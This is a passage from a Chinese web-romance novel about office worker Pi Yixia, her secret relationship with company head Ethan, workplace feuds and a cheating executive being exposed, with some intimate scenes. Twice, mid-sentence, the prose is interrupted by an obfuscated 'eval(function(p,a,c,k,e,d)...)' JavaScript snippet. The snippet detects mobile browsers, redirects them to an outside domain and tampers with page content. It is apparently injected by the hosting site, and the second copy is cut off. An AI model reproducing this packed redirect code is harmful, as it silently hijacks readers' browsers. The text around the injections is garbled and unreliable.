视线转回卧室,整间屋子大概有六七十平,方方正正的格局,白色和香槟金为主色调。双人床靠墙,摆放在房间正中,其下铺设浅灰色地毯,脚凳和床头柜是靛青色。床左边是落地窗,右边是嵌入式衣帽间,对角靠窗放着一张紫色单人沙发。 正欣赏时,房门忽然打开,贺章走了进来。 他穿着黑西裤和白衬衫,衬衫下摆收进腰间,头发也打理好了,一副穿上外套就能出门上班的模样。 “要起吗?”贺章盯着她问。 昨晚临时起意睡在这,她的睡衣在木屋,他就找了件白色T恤,给她充当临时睡衣。 这T恤穿在她身上,显得很宽松。肩线掉在胳膊上,半袖长度没过她肘弯,好像偷穿大人衣服的孩子,一副呆怔的表情,坐在被子堆里……有点可爱。 他走过去,按着她后颈狠狠亲了一口。 被她推开了:“没刷牙,不准亲……几点了?”边问边拿起手机,“八点三十一?!” “完了完了完了……闹钟怎么没响啊啊我要迟到了……” 皮一夏慌忙跳下地,拖鞋都来不及穿,就往卫生间跑,才跑一步就被贺章捞了回来,抱她坐在床边,拿起拖鞋,套在脚上。 “慌什么?大不了迟到会儿。” 昨晚折腾到半夜,他想让她多睡会儿,故意没叫醒。 皮一夏不能理解他的良苦用心,反而打了他一巴掌:“你说的是人话吗?我辛苦保持的考勤记录,眼看就要被打破了!”五年了,她迟到的次数一个巴掌数得过来。 皮一夏跳下地就跑,贺章闲闲跟在后面。 卫生间有一次性洗漱用品,皮一夏正在刷牙,贺章走过去,从身后抱住了她,双手拦在小腹上。 她扭着腰赶人,快速漱了漱口,吐掉嘴里的牙膏沫:“你不要耽误我收拾,都怪你不叫我,我的全勤奖要飞了!” “多少钱?我补给你。” “那是钱的事吗?那是一个资深社畜的骄傲和荣誉!” 她一边快速洗脸,一边嘟嘟囔囔。 贺章低笑一声:“华森集团很荣幸,有你这样的好员工。” “对哦!你是老板……那你还说迟到一会儿怎么了,多离谱,这不纯纯拖员工后腿嘛!” 没有化妆品,她洗个脸就算完,转身往外推贺章,推不动,揽在她后腰的手臂像铁棍。 皮一夏羞恼:“我要上厕所!你不要再耽误我时间了。” 贺章嘴角噙笑,盯着她素净的小脸,忽低下头,亲了亲粉嫩的唇瓣:“我去开车。厨房里有三明治,带着路上吃。” “好的好的你快走……” 贺章转身离开,皮一夏匆忙解决人生大事,然后换衣服,还是昨天那套,没办法,来不及去木屋里换了。 她一手抓着三明治,坐进车里时,八点四十五分。 平时从这里打车去公司,最快也要十五分钟,现在是早高峰时间,刨除堵车和等红灯时间,至少二十五分钟。 迟到定了,皮一夏反倒不着急了。 贺章侧头瞥了一眼:“怎么不吃早餐?” “到公司吃。” “为什么?” “有味道呀。” 贺章皱眉:“车窗是做什么用的?” 皮一夏知道他想说散味儿用的,但偏要跟他对着来:“看风景用的。” “少做作,吃你的。” “……哦。”什么叫做作,她只是礼貌好吧。 皮一夏拨开三明治的包装纸,慢吞吞咬了一口,顺便掏出手机看微博,时不时给贺章播报热点新闻。 到公司附近时,一个三明治还没啃完。她及时喊停了车,透过车窗前后左右扫视一番,确定没有同事出没,才推开车门……没推动,锁着呢。 “开开门呀!”她回身。 贺章微微挑眉:“把我当免费司机?” 皮一夏恍然地“哦”了一声,拿起手机说:“我给你发红包。” “嘶!”贺章神色不悦。 她忽然又笑起来,凑过去,亲了亲他的脸:“谢谢你哦Ethan,快点开门吧,趁这会儿没人……” 贺章低哼一声,到底没有再为难,解锁了车门。 皮一夏从车里出来,做贼似的左右看看,快步穿过马路。贺章盯着她背影,见她跑得顾不上看车,眉头不由跟着一紧一松一紧,直到身影闪进侧门看不见了,才打着方向盘转弯往正门开。 九点二十五分,皮一夏坐到了工位上,本来是可以早十分钟的,她想着反正已经迟到了,不如充分利用,于是拐到星巴克去买了杯咖啡。 内容中心的办公区没人,她愣了下才想起,Daisy昨晚在群里通知了要开早会,于是忙抱上电脑,去了大会议室。 一进门,嗬,满满一屋子人坐得整整齐齐,全都转头朝她看过来……有点尴尬。 Daisy坐在会议桌C位,肃容说:“所有人等你一个。以后不要迟到。” 皮一夏走进来,随手关上门:“好的。” 没办法,人在屋檐下不得不低头。 同事们面面相觑,各自交换看戏的眼神。会议桌上没有空位置了,皮一夏找了个角落,拉过一张椅子坦然落座。 Daisy没再说什么,开始宣讲她的领导精神,讲了快半小时还没结束,皮一夏腿上放着电脑,处理了点工作,打字时,忽然感觉会议室安静得不同寻常。 茫然抬头,见所有人的目光都盯着她,Daisy的眼神最犀利。 “我觉得大家干一件事,就要专注于这件事。”Daisy收回视线,看向其他人,“以后开会的时候,尽量不要处理工作。” OK,fine。 皮一夏暗暗叹了口气,合上电脑。 十点过五分,会议终于结束了,皮一夏脚步匆匆往外走,张宝静小跑着跟过来,凑到她身边悄声吐槽。 “皮皮姐,Daisy很明显针对你!说你迟到,明明还不到九点半,还说什么不要处理工作,以前Vivian在的时候,从来没这个规矩,而且开会效率很高,从来不会拖这么久,关键也没什么大事啊……” “她新官上任,要立威,这就是最大的事。”皮一夏轻声说,“一朝天子一朝臣,每个领导都有自己的管理风格,我今天来的晚,扫了她面子,被说两句不觉得冤,以后不要把Vivian的规矩记在心里了,不然你会过得很痛苦。” “哦,可我就是不喜欢她!光说不练假把式,倒是知道怎么当领导。” 张宝静嘟囔了一句,皮一夏拍了拍她:“好了,干正事,《鎏金》这部剧的宣传海报被指抄袭,现在话题讨论度很高,你跟大光盯一下后续,估计一会儿就要热搜见了……我先去跟设计工作室打个电话。” “好的。” Daisy上任的头两天,皮一夏有惊无险,到了周三下班前,真正的麻烦来了。 一个本来已经定稿的宣传方案,被Daisy打回来,提了一大堆反馈意见让调整。 这方案的负责人是张宝静,大光和小美是辅助。Daisy提议重新梳理宣传策略和方案逻辑,并希望换个人来写,直接把方案安排给了大光。 张宝静愤怒了,大光也不乐意,两人心情都不好,说着说着吵起嘴来,被皮一夏强行镇压了。 她敲开Daisy办公室的门,直接开撕:“你觉得方案有问题,可以提意见,具体怎么改,我来安排。你直接越过我,插手我部门内的事,是不是过了?” “你的部门?宣传部和运营部都由我负责,你是觉得,我管不了宣传部的工作?” 皮一夏很烦躁,觉得跟Daisy掰扯不清,一怒之下说:“你要想这么理解,也可以。以后找事直接冲我来,别在宣传部点火。要改方案是吧,没问题,我改。但这是已经定稿的案子,我只改一次,如果你还有意见,请自己上。”说完就摔门出去了。 吵吵嚷嚷了半晌,皮一夏心情不太好,正好苏晨雪约她晚上出去吃饭,皮一夏当即同意了。 答应完才想起来,今天周三,应该早点下班去照顾花园的,但她现在需要发泄情绪,于是给贺章发微信:「Ethan,我要去跟苏苏吃个饭,今天晚点过去。」 过了十分钟还没收到回复,她也不等了,直接下班。反正贺章又抓不到她。 和苏晨雪约在海底捞吃火锅。点菜时,皮一夏特意加了一份脑花。这东西她一向是不吃的,看着反胃,苏晨雪也不敢吃。 脑花下到汤里时,皮一夏举手握拳:“这就是Daisy的脑子,今天我拼了。” “不要说这么恶心的话。”苏晨雪抚了抚手臂,转念想起今天的正事,“皮皮,我问你,上次我们去泡温泉,你问起表姐和赵衡,是不是发现了什么?” 皮一夏装傻:“怎么这么说?” 苏晨雪打了她一下,语气轻柔却不容违逆:“不要跟我兜圈子打太极,不然我生气了。” 皮一夏叹了口气,放下筷子:“我确实发现了一些事,但不清楚具体情况,也怕说出来搅乱表姐的生活,所以就想让你提醒一下她。不过你怎么突然问起这个,发生什么事了吗?” 正说着,皮一夏的手机突然弹出消息,嗡嗡声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745831|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响个不停,她以为是工作上的急事,忙拿起来点进微信。 「华森文娱高管群」里,赵衡一下子发了很多微信聊天截图。 皮一夏随手点开其中一张,登时倒吸口气:“我的天呐!赵衡疯了吗?!” “怎么了怎么了?”苏晨雪忙起身,坐到她旁边。 “他跟Daisy的聊天记录……简直不堪入目……” 皮一夏刚看完第四张图,赵衡就开始逐个撤回,很快,图片全消失了,好像从来没有出现过,只剩下八行灰色小字:「赵衡撤回了一条消息」 “……” 毫无疑问,要不是赵衡真精神失常了,就是别人用他手机发的,最有可能的人,是苏婉愉。 皮一夏和苏晨雪面面相觑,都不知道说点什么好。 站在皮一夏的立场,她当然希望渣男和小三的面目被揭穿,可真揭穿了,表姐难免伤心,苏苏也跟着不好受。 怔坐片刻,皮一夏拍了拍苏晨雪的手:“找时间劝劝表姐吧,总比什么都不知道的好。” 正说着,褚彦过来了。 “吃完了吗,两位美女?” 褚彦笑吟吟坐在苏晨雪对面,苏晨雪仿佛没看见人似的,也不打招呼,忽然站起身,跟皮一夏说:“我去一下洗手间。” 皮一夏应了声,等苏晨雪走了,疑惑地看向褚彦:“怎么了这是?” “一点小事。”褚彦面露尴尬,似乎不想多谈,转而说起别的话题,“怎么样,赵衡不在公司,日子好过点了吗?” 说起来,褚彦作为文娱集团的负责人,还是赵衡的上级,她是要尊称一声褚总的,只不过因为苏苏的关系,加上褚彦爱说爱笑不拿架子,她实在叫不出这声褚总。 但再怎么说也是领导,皮一夏不太想跟他说公司内部的事。 “嗐!我本来也没什么不好过的。再说,赵总不还在接受调查嘛,没准就反转了呢。” “反转?”褚彦嗤笑一声,“怕是没戏了。性骚扰且先不提,赵衡利用职务之便套取公司财产,收受供应商贿赂这两项是跑不掉了。” 皮一夏震惊:“真的吗?” “骗你做什么。”褚彦边说,边拿筷子在汤锅里捞肉吃,“托你家贺总的福,我最近查账查得脑门子快着火了。” “……什么我家贺总。”皮一夏嘟囔了句。 褚彦促狭地笑:“哦,不是吗?那怎么某人听说你被欺负了,转脸就给我派了这么一活儿?” 皮一夏有点吃惊,端起杯子喝水,掩饰不自在:“贺总肯定是站在公事角度做出的安排,才不是徇私情……” “哦吼?你承认有私情了?” “……”褚彦这个人,怎么这么不着调! 这时候,苏苏从卫生间回来了,皮一夏眼珠一转,说:“苏苏,我们公司有个同事,188大高个儿,长得巨帅,人也很靠谱,要不要介绍给你呀?” 褚彦顿时黑了脸。 苏晨雪却温温地笑了:“可以……我们回去吧,路上聊。”说着就背上包,拉着她往外走。 皮一夏懵了,她本来是为了试探褚彦,随口这么一说,以前这种事,苏苏都是拒绝的,这回怎么还答应了? 褚彦快步跟上,一把抓住苏晨雪的手,小声求告:“哥错了,别生气了,咱们回家吧,行吗?” 苏晨雪一跺脚,凶巴巴拨开他手,也松开皮一夏,快步往门口走。 褚彦紧追两步,又转头匆匆对皮一夏说:“我们走了啊,接你的车在商场门口。”说完就跟在苏晨雪身后,往自动扶梯的方向跑了。 皮一夏看明白了,褚彦惹大小姐生气了,只怕事儿还不小。不过,“接你的车”是什么意思?难道贺章来了? 她有点开心,加快脚步走出商场,果然,看见了停在路边的吉普车。 开车的是董力,贺章坐在后排,有外人在,她本想坐副驾的,刚抓住车门把手,就听他不容拒绝地来了句:“过来。” 皮一夏迟疑两秒,还是照办了。一上车,就被贺章拉到腿上,紧紧搂住了腰。 她有点尴尬,瞟了眼驾驶座,董力没有看他们,她心神稍稍放松,忽然抽了抽鼻子,小声问:“你喝酒了?” “嗯。”贺章埋在她肩颈处,深吸一口气。 皮一夏有点痒,笑着躲他:“喝了多少啊?酒气这么重!” 贺章没答这句话,反而开始亲她,气息很重地胡乱啃。车上有外人,皮一夏很尴尬,使劲推他,却怎么也摆脱不掉,她气急嚷:“贺章!” 最后这个称呼让他顿了顿,皮一夏趁机捂住他嘴。 她估计贺章是喝醉了,即便没有断片,神志也不大清醒了,不然应该不会当着司机的面这样忘形。 他的神色倒和往常一般淡漠,瞳孔却更幽黑了,一眨也不眨地盯着她,有点萌,被她捂着嘴,也没有挣扎。 皮一夏试探着说:“你今年,几岁了?” 她本是想测试他脑子在不在线,结果问出口才发现,认识这么久,她竟然还不知道贺章的年龄! 皮一夏挪开手,紧紧盯着他,贺章面无表情,吐出一句话:“我是醉了,不是傻了。” “……” 嘁!知道自己醉了就是没醉嘛! 皮一夏皱了皱鼻子:“你不告诉我,我查百度百科去。” 她说着从口袋里掏出手机,却被贺章反手夺了去。 “三十二。” “啊……比我大五岁呀!这么多……” “嫌我老?!” 他眉峰一压,仰头又要亲,皮一夏眼疾手快,再一次捂住他嘴。 “没有没有,不嫌不嫌!就是说,我上小学时,你都上高中了……感觉咱们的时代一直是错位的。” 贺章默了片刻说:“现在赶上了。” 皮一夏知道他说的是,他们现在都在工作,都有成熟的心智,不存在错位了,于是抿了抿唇,靠在他肩头:“也是。”过了会儿问,“需要买解酒药吗?” “不吃药。” “那回家我给你泡点蜂蜜生姜水。” 二十分钟后,回到了丰和壹号别墅,皮一夏进门就往厨房走,没走两步,又被贺章捞过去,攥着她手上楼。 “干嘛呀?你不喝蜂蜜生姜水吗?” 贺章没说话,一直把她拖进浴室里,然后开始剥她衣服。 40. 癖好 皮一夏瞬间脸烧了起来,急忙按住他手。 “我自己来,你出去。” 贺章不理会,固执且强硬地将她扒干净,可他还穿的整整齐齐,漆黑的眸子凝在她身上。 皮一夏面红耳赤,手脚都不知道怎么摆。 贺章打开浴缸开关和淋浴蓬头,细细密密的水线洒下来,温热的水流冲刷着身体,消解了从屋外带回的寒气。 他忽然托着她臀部向上一提,皮一夏小声惊呼,下意识环住他脖子,小腿勾到了他腰,这样不着寸缕盘在他身上,太羞耻了,她立刻就要下地,却被他蛮横阻止了。 “Ethan……” 贺章“嗯”了一声,在她的脸和脖子上不停啄吻。 “你别用力,我明天还要见人的。” 他顿了顿,再下嘴时,力道却更重了。 “不许见人。” “……” 他喝醉了怎么是这样啊……不听话,还随心所欲。 过了一会儿,贺章走到浴缸边,将她放进一池温水里,然后蹲下身……开始给她洗澡。 撩着水把她涮了一遍后,挤出两泵沐浴露,在她身上打泡儿揉搓,一寸都没放过,皮一夏脸色通红:“你把我当Oliver了……” 说着身体一僵,急忙按住他:“我自己来自己来……” 贺章摘掉她的手,固执地探下去,皮一夏瞬间呜咽着捂住了脸,整个人像滚水里的虾子一样红。 十分钟后……她已经麻木了。 把自己当成Oliver,一切就合理了。 贺章坚持给她洗完了澡,抱出来,抓起淋浴蓬头,冲掉身体和头发上的泡沫,再取过一条毛巾擦干,最后裹上了浴巾。 从始至终神色专注、有条不紊,仿佛给她洗澡是一件十分正经的事,需要认真完成。 这到底是什么癖好啊……皮一夏透过镜子,盯着身后的人。 他又开始给她吹头发了。 吹风机呜呜地响,气流顺着头发的生长方向,一路扫下来,吹完一撮再换一撮,不紧不慢,简直像理发店的Tony老师。 皮一夏被这个念头逗乐了。两人在浴室闹过一阵,皮一夏收拾好自己,去花园里简单打理一番,就回了木屋二楼,上床躺着刷手机,没过多久,贺章推门进来了。 他沉默着走到床边,皮一夏忽然有点紧张。 “你别再胡闹了啊!” 她裹紧被子,贺章随手一揭,躺进来抱住她,一翻身,将人压在下面。 原以为要做什么,但没有,他就这么直挺挺地盖在她身上,沉得好像一块石板。 皮一夏胸口闷闷的,喘气都费劲,拍着他背:“你下来。” 贺章不理,看样子是打算睡觉了。 皮一夏眼睛盯着天花板,无语住了:“你在哪、跟谁喝的酒啊?” 贺章静了几秒,闷声:“苏煜珩,酒庄。” 苏煜珩是谁?不重要,反正听名字应该是个男人。 “怎么喝这么多……” 说不清醒吧,答话很清楚,说清醒吧,行为举止又很反常。她眼珠一转,忽然想起一件事。 “Ethan,我问你个事啊。” “嗯。” “褚彦说,你让他调查赵衡……是因为我吗?” 虽然这样问有点自作多情,但她忍不住想,会不会有那么一分原因,是为了她。 皮一夏屏息等了一会儿,听见他说:“不许听褚彦说话。” “……” 皮一夏噘了噘嘴,有点不高兴地拍他:“你太沉了,我上不来气。” 贺章这次倒听话,翻身躺平了,接着又把她搂过去,盖到他身上。 “……”什么癖好啊! 皮一夏趴在他胸膛上,吐息平复了一会儿,心口的沉闷消散,又说:“Ethan,你以后少喝点酒吧,喝醉了都不像你了。” 皮一夏盯着他发愣。 深邃的眉眼,淡漠的神色,线条清晰的M型薄唇,人中凹得有点性感。她以前,觉得他的面相很有男人味,大概是因为骨相硬挺的缘故,现在看来,又觉得气质好似变了一些。 可能因为见识过他的火热,现在觉得他并不冷漠,只是个沉静的、纯粹的、好看的男人。 会独自坐在街边的咖啡馆里看书,会在教室里耐心回答学生的问题,会在开会或听电话时凝眸沉思,也会在给她洗澡时神色专注。 皮一夏忽然仰唇,凑过去亲了亲他。 “Ethan,我有没有说过,你长得很好看……我很喜欢。” 贺章眸光一凝,转瞬,眉间又染上不悦:“只喜欢皮相的女人。肤浅。” 怎么夸他还会挨骂!皮一夏不乐意了,挣扎着要从他身上下来,可后腰的两条手臂,就像铁链一样,捆得死紧,不仅如此,小腿也被他压制住了。 漆黑的瞳中浮起笑意,贺章低头狠狠亲回去,逮着她唇舌纠缠了好一阵才放开。 “周六陪我出趟门。” “去哪里呀?” “范老生辰,去祝寿。” 皮一夏愣了会儿才想到,这个范老指的是苏苏的外公,也是华森集团的创始人股东之一。 “那苏苏和褚彦也都会去吧,还有婉愉表姐、赵衡……赵衡就算了,总之会有很多人吧?” “嗯。” 她有一阵儿没说话,贺章抬起她下颌:“不想去?” “有一点。” 主要是感觉她的身份跟哪边都不搭。论私,虽然跟苏苏关系很好,但和她的家人来往却不多。论公,一个子公司的中层员工,和集团创始人也说不上话。跟在贺章身边算什么呢? “必须去。”贺章冷了眉眼。 “为什么啊?”她怏怏问。 “我周六晚出差。” “?”话题怎么跳到出差了,这跟参加生日宴有什么关系? 贺章说:“要走一周,提前把下周的时长补了。” 一想到要分开一周,贺章只恨不能把她抓上飞机。搂着她腰的手一紧,下一瞬,火热的唇舌缠了过来。 与此同时,她察觉被子底下起了异样,有点尴尬地往一旁躲,却被他按着臀压了回去。 心浮气躁地吻了一阵,贺章松开她,抵着额头,呼吸不稳地说:“我出差回来,要第一时间看见你。下周就在这里待着,不许回去,下班也不许乱跑。” “你好不讲理……” “还有。”贺章啄了啄她,又补充道,“等我回来,要跟你说件事。” “什么事啊?不能现在说吗?” “大事。不能。” “好吧……” 夜深了,再不睡明天又要迟到了,贺章拍了拍她:“睡吧。” “那你让我下来。” 她手臂撑着他胸膛,试图翻身下去躺着,但贺章不放。 “就这么睡。” “你身上没有床上睡着舒服!”她抗议。 被他冷漠镇压:“那也就这么睡。”他舒服就是了。 “……” 皮一夏愤愤打了他一巴掌:“你怎么这么多怪癖!” 贺章一手扣在她脑后,不由分说把人强按了回去。 星期四是一周当中最难熬的日子。 想想吧,拉了三天磨,牛马精神已经疲惫不堪,然而距离休息日,竟然还有两天,所以一大早,皮一夏进公司就感觉气氛沉闷,加上阴天,这沉闷的气氛就更加明显。 然而,还没等她泡完咖啡,张宝静突然垂死病中惊坐起,发出一声暴鸣,附近工位的同事全都朝她看过来。 张宝静一边尴尬地举手示意没事,一边凑到皮一夏身边:“皮皮姐,大瓜!”说着就把手机屏幕对准了她的脸。 原来是集团内网刚刚发了一封站内信,褚彦发的。 大意是说,由于文娱COO严重违反公司规定,即日起做出辞退处理,赵衡所涉事件引发集团管理层反思,现向公众道歉,并将做出全面整改,从上到下,彻底摸排各类违反企业价值观的行为。希望各位同事引以为戒,并和公司一同努力,维护华森集团企业文化和价值观。 果然是大瓜。 张宝静看热闹不嫌事大,兴冲冲道:“赵总被撸下去了,Daisy还远吗?” 该说不说,张宝静那个嘴,真是开过光的。 这一上午,无论外部媒体,还是内部员工,全在热火朝天地讨论赵衡的事,结果这个瓜还没吃完,下午快下班的时候,又出事了。 苏婉愉突然来到17层,径直推开Daisy办公室的门,把她从里面扯了出来。 “大家都停一停手里的工作。”苏婉愉面朝公区拍了拍手,“很多人没见过我,自我介绍一下,今天华森开除的那位首席运营官,就是我老公,也是你们内容中心负责人Daisy女士的姘头。” 这话一出,整个17层瞬间陷入哗然,全员吃瓜脸,工位离得远的,甚至直接跑过来围观了。 张宝静努力压抑着激动的神色,在桌子底下狂拍皮一夏的手。 Daisy尴尬又慌乱,一把抓住苏婉愉的胳膊,试图把她扯进办公室。 苏婉愉神态自若,语气森冷:“拿开你的脏手。” 她穿着红色羊绒大衣,一头栗色中长卷发,戴黑色贝雷帽,跟Daisy并肩站着,论姿色两人不相上下,但论气场,苏婉愉秒了。 Daisy被她斥了一句,竟然真不敢动了,脸色通红,看着恨不得找个地缝钻进去。 苏婉愉继续道:“今天过来这边呢,是为了祝福一对新人。恭喜何黛女士,即将捡走我不要的垃圾,希望你和那堆垃圾长长久久在一起,白头到老、不离不弃……是这八个字吧?记得我办婚礼的时候,你就是这么说的。” Daisy低着头,不知道在给谁发消息,苏婉愉面带嘲讽:“还指望赵衡来救你?他现在自顾不暇,你就自求多福吧……哦对了,顺便告诉你,等赵衡被我扫地出门,他就是个分文没有的穷光蛋,希望到时候,你还愿意收留他。” 张宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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部门其他人纷纷附和,七嘴八舌地聊开了。皮一夏随口应和了一句,就开始收拾东西,把手机电脑和数据线装进背包里。 “你今天正点下班?”全员震惊脸。 皮一夏无语:“你们别太离谱,正点下班是打工人的合法权益。” “没说不合法,这不是你天天违法嘛!”张宝静笑嘻嘻打趣,“是不是要去跟男朋友约会?” 皮一夏抿唇不语,背上包潇洒转身。 她要去接喜欢的人下班。 见过苏婉愉之后,她心里受了点触动。 在被渣男老公伤害之后,她没有哭哭啼啼继续纠缠,也没有不顾体面地暴打小三,而是干脆利索地清理门户、姿态优雅地羞辱插足者,并且依然愿意相信爱情。爱的时候倾尽所有,被伤害了就果断放手。就像大宝说的,很飒。 这种干脆果决背后,除了勇气,还有配得感,苏婉愉坚信自己配得上爱、尊重、成功等等所有美好的东西,如果不幸被绊了一跤,那就踹开挡路的石头,继续昂首向前就是了。 反观她自己,在贺章面前,总是那么自卑怯懦,不敢将自己的心意宣之于口,连试探都很隐蔽,以前那个在男女关系上所向披靡的自己消失了。 今天苏婉愉的出现,给了她一点点勇气,她忽然想,试着找回以前的自己。 想到这里,她掏出手机,给林献发了个微信:「贺总下班了吗?」 五分钟后收到了回复。 贺章:「上来。」 皮一夏想了想回:「我去星巴克坐会儿,等你下班。」她可没想去他办公室招惹闲话。 贺章:「林献下去接你了。」 皮一夏仰头望天,叹了口气,回了一串省略号。 收起手机,刚好看见林献走出A座大楼。 皮一夏迎上去,有点尴尬地说:“不好意思啊林献,还劳烦你跑一趟。”见他怀里抱着一个文件夹,又道,“耽误你工作了吧?” 林献微笑摇头:“我现在的工作就是带您上去。” 总觉得他这个笑,是一种知道内情的心照不宣,皮一夏更尴尬,胡乱找了个话题岔开。 “叫我皮皮吧,看着咱们年纪一般大,别老您来您去了。” “也好,皮皮。” 走进A座电梯,林献按下21层。密闭的空间里,气氛有点尴尬。 皮一夏找话题闲聊:“今天忙吗?” 林献说:“挺忙的,处理了赵衡风波引发的后续影响,开了三场高管会议,中午连饭也没顾上吃,情绪有点烦躁,刚刚看到您的微信,他好了不少。” “……” 听到最后,她才听出来林献说的是贺章。可她不是在问贺章啊啊林助理你……算了。 电梯已经到了21层,林献率先走出去,站在电梯边,等她出来之后,把手里的文件夹递过来:“拿着吧。” 皮一夏愣愣接过:“这是……” 林献微笑不语,只朝一侧伸手引路:“这边走。” 穿过一排排的开放式工位,接受了不知多少道目光的洗礼,她终于明白了林献的苦心。 感谢他,让她以汇报工作的模样,走进了贺章的办公室。 门一关上,皮一夏先松了口气,才抬眼看办公桌后的人。 贺章正在接电话,见她进来,站起身,不紧不慢走过来,一边对电话那头的人讲话,一边牵起她,往办公桌的方向去。 41. 诱惑 皮一夏趁机打量这间办公室。大概三十平,视野开阔,时尚简约的装修风格,浅灰色和白金为主色调,东边是一大扇落地玻璃,南墙上有一排书架,办公桌靠北面南,下面铺着浅杏色地毯。 打量完,贺章也刚好收线。 走到桌前,他忽然将她抱离地面,手轻轻往后一送,她就坐到了宽大的办公桌上。 “别、不能坐这……” 皮一夏要跳下地,被贺章用腿抵住了:“别动。” 她尴尬又惶恐,左右看看,确定百叶窗是合上的,落地窗外是城市夜景,没有人能看见里面,心神稍稍放松,但还是忐忑不安。那感觉大概就像,一个小兵卒子被强按到了龙椅上。 这桌子高约七八十公分,她坐在上面,比他矮了一大截,贺章嘴角噙笑,缓缓倾身,两手撑在桌面上,将她圈在方寸之间。 皮一夏眼睫轻颤,下意识往后仰了仰背,又被他一手捞回原位,脸对着他的脸,只有一指的距离。 “听说你今天很忙。”她找了个话题,又想看他,又莫名不好意思。 贺章“嗯”了一声,食指抬起她下巴,目光凝视:“怎么会来这边?” “不是你让我过来的嘛……”她小声嘟囔。 “你知道我在问什么。” ……知道。他在问,为什么主动来找他。毕竟相处这么久,她从未在没有正当理由的情况下,主动出现在他面前。提出成为床伴,算是她做过最有勇气的事了。从那天到此刻,掌控节奏的人一直都是他。 他的眼睛太好看,有蛊惑人心的力量,皮一夏老老实实说:“我有点想……见你。” “想见你”,比“想你”,要含蓄一点。 她的勇气只能维持到这。 贺章盯着她脸上羞怯的神情,喉结轻轻滚动一下,心也跟着提了起来。好像垂钓的人忽然看见鱼竿晃动,意识到鱼儿上钩了,期待的同时,又有点拿不准。 “为什么想见我?” 皮一夏被他灼热的目光盯得脸颊渐渐发烫,心跳像小锤子在敲,不重,但很快,每一下都落到实处。 默了片刻,红着脸憋出一句:“不知道。” 但贺章已经知道了。或者说,比烟花之夜多了几分把握。 他缓缓弯起嘴角,笑意在眼底晕开,仿佛收到了期盼已久的好消息。 “夏夏。” 他这样喊她,让她心也跟着抖了起来,睫毛快速颤动,轻轻“嗯”了一声。 “吻我。”贺章说。 嗓音低沉柔缓,像拿糖诱惑年幼的孩子。 皮一夏中邪了似的,缓缓向他靠近,目光时而落在他眼中,时而落在他唇上,缓慢,但没有犹疑地贴了上去。 两只手抓住了他腰间的衬衣,贺章屏住呼吸,一动也不动,生怕惊到这个刚刚上套,主动来讨糖吃的孩子。 一秒的时间被拉的很长,她终于探出舌尖,轻轻舔了一下。那一瞬间,贺章感觉心脏重重落回胸腔,身体都忍不住颤抖起来。 和她周旋这么久,哪怕再亲密的时候,贺章也总觉得她有所保留。他强迫,她就半推半就。身体上过界了,心却退守在警戒线后。有时贺章甚至觉得,她在以往的恋爱中可能也是这样,像风一样抓不牢握不住,也许是怕受伤害,所以喜欢了就开始,不喜欢了就迅速抽身,永远让人捉摸不透。 然而现在,她主动揭开了两人之间朦胧的轻纱,透过那双清澈的眼,贺章第一次看清了她,心意相通的感觉只可意会,却美妙至极。 然而她没有被诱哄得彻底丧失神志,动作犹疑着,只一下就要缩回去,贺章却果断出手,扣住她脑后,轻柔但坚定地吻了回去。 含住她的双唇,轻轻地抿,温存地舔,勾着她,也等着她回应。仿佛刚刚学会接吻,品尝了人生第一道甘甜的滋味。贺章紧紧抱住她,掌心一下下抚摸她的头。 交出来就好,别再退缩。 “Ethan。” “嗯。” 她说了这么一句,又不出声了,贺章没有催促,只是吻了吻她的头顶,像一个充满力量的鼓舞。 她内心百转千回,甜蜜无措疑惑慌乱交织在一起,最终只说了一句:“我很开心。” 贺章缓缓撤回身子,抬起她的脸:“我也是。” 笑意点亮栗色的双眼,眨巴一下,她扑回他怀里,搂住了他脖子。贺章顺势勾起她两腿,将人挂在身前,不疾不徐地走到办公桌后,坐到了椅子上。 静静相拥着,皮一夏手指把玩他衬衣的扣子,忽然又开口叫他。 “Ethan。” “嗯。”贺章低眼。 “我今天,围观了一场正宫收拾小三的戏。” “是吗。” “嗯嗯,那个姐姐特别霸气,不仅羞辱了小三,也没丢掉自己的体面。” “是你先前提过,那个被人欺骗的朋友吗?” 皮一夏讶然抬眼:“你怎么知道?”消息已经传到他这里了吗? “猜的。”贺章说。 “哦。” “你接着说。” “没了呀。我就想跟你说这个八卦。哦还有,要是我遇到这种事,也要像那个姐姐一样姿态优雅地收拾渣男和小三。” 她很少和他主动分享这些事,琐碎的事,贺章喜欢听,但听到最后还是不悦皱眉,打了她一下。巴掌落在臀侧,不疼,更多的是羞耻。 “干嘛打我!” 贺章轻斥:“胡说八道。” “哼!” 又过了一会儿,皮一夏想起林献说他今天很忙,便道:“你是不是还有工作?我要不先走吧,别耽误你。” 话音刚落,贺章的手机铃声就响了。 她脚尖点地就要起身,贺章一手按住她后腰,另一手拿起手机,点开接听。 开口就是一句低沉但充满威严的,“嗯,说。” 皮一夏有点紧张,一动也不敢动,怕发出声音干扰他,也怕被电话另一端的人发现端倪。 贺章察觉她身子僵硬,扣在她后腰的手缓缓上下摩挲,一面说着:“时间刚好。MK下场搅局,银丰资本的高管变动频繁,股东们怨声载道,再等两天,山本大泽就挺不住了……嗯,你盯紧……就这样。” 电话收线,贺章把手机丢回桌上,两手掐着她腰轻笑:“这什么表情?” 皮一夏听不懂他在说什么,但想来是大事,不像她小打小闹,经营自己那一亩三分地。 “我还是先走吧。”别打扰他处理正事。 贺章拧她鼻子:“走什么走,一会儿跟我一起回去。” “啊?可是今天周四,也不是约定的日子。” “嘶!”贺章警告地瞪她,“说没说我下周出差,要提前补。” 一周四次,每次两小时,她倒是记得牢! “哦……好吧。” “好吧?!”贺章扬声,“你很不情愿?” 皮一夏捂嘴笑:“我没有。” 